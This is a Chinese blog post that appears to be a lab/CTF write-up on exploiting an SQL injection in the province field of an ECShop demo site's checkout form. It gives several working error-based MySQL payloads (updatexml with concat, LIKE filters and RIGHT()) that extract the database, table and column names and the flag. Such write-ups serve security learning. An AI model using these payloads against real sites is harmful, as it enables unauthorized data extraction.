安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

题目

网站URL ECSHOP演示站 - Powered by ECShop

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

目录

 

笔记

 过程

进入sql注入页面

问题 判断闭合符

sql注入下的模糊查询

 right 语法爆字段值


 

笔记

对现在我来说难度其实不大,但题目考察的一些细节要求比较高。

首先把我遇到的问题 一 一 列出。(在下面解题的过程会一 一 解决)

  1. 题目虽然是叫宽字符注入,但实际考察的是报错注入 (挂羊头卖狗肉)
  2. 这个网站很大,注入点很难找(我也是看一位师傅的write up)
  3. 自己没有用到 除 ' '  之外的闭合符,而本题出现了另一个闭合符 () (缺少经验)
  4. 找到注入点后,由于要在burpsuite中点击 follow redirection 追踪到重定向页面才能看到报错回显 导致无法用sqlmap 跑 所以才出现后面的问题
  5. 查询到数据库名后 ,由于每次报错注入的回显内容长度有限制,导致不能一次性爆出所有表,只能通过 修改 limit 后面的参数慢慢爆
  6. 没有学会在 mysql 下 sql注入的模糊查询语法
  7. 爆出字段名为flag 后,由于回显内容长度的限制,还有小部分 flag值没有爆出来,最后学会用 right 和 left 语法

 过程

进入sql注入页面

注册→登陆→点击一个商品手机→加入购物车→点击结算中心→修改收货人信息→用BP开始抓包→点击配送至这个地址

把抓的包放入repeater 模块

province 为注入点

 安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

 

问题 判断闭合符

SQL注入原理及如何判断闭合符_大大大蜜蜂的博客-CSDN博客_sql注入怎么判断闭合方式

在参数后面输入一个单引号'  发包后,点击 刚出现的 follow direaction 按钮进入重定向界面

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

 安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

sql注入下的模糊查询

还是需要将自己的mysql知识 尽量的运用到实战上,不能光想着 复制别人单一的sql注入语句,不自己独立思考一定是走不远的

https://www.cnblogs.com/-lin-x-c-/p/10375412.html
 

由上方链接我们得知语法 and +(表名,字段名)like = '%关键字%'

下面会把他加到我们的报错注入语句中

爆数据库

2')%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)#

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

爆表名

2')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3d"ecshop"%20limit%200,1),0x7e),1)#

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

 

爆出3个无关表名 还有一个不完整。。。。。。

昨天头铁 通过修改limit 的值一直去重复,40多次才爆出来

下面利用模糊查询

 

2') and updatexml(1,concat(0x7e,(select table_name  from information_schema.tables where table_schema="ecshop" and table_name like '%flag%'),0x7e),1)#

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

 模糊查询爆字段名

2') and updatexml(1,concat(0x7e,(select column_name  from information_schema.columns where table_name="ecs_flag" and column_name like '%flag%'),0x7e),1)#

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

 right 语法爆字段值

MySQL RIGHT()用法及代码示例 - 纯净天空

由于我们直接用普通语句查询,我们得到的flag是不完整的,而这里又不能通过limit 语法一个一个字节来爆,但是mysql 提供了一个 right 函数,可以从右往左爆字符串,这样就能把我们缺失的一小部分flag的值爆出。

 正常方法

2') and updatexml(1,concat(0x7e,(select flag from ecs_flag ),0x7e),1)#

结果

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

 right 语法

2')  and updatexml(1,concat(0x7e,(select(group_concat((right(flag,20)))) from (ecs_flag) ),0x7e),1)#

 

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

 

去除重复字段即可得到flag。

参考链接

SQL注入:宽字符注入_zh的博客-CSDN博客

SQL注入原理及如何判断闭合符_大大大蜜蜂的博客-CSDN博客_sql注入怎么判断闭合方式

mysql中模糊查询的四种用法: - 林小某lin - 博客园

MySQL RIGHT()用法及代码示例 - 纯净天空

天天学这么累打把游戏不过分把

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

 

上一篇:1405. 最长快乐字符串_2022_02_07


下一篇:分支条件匹配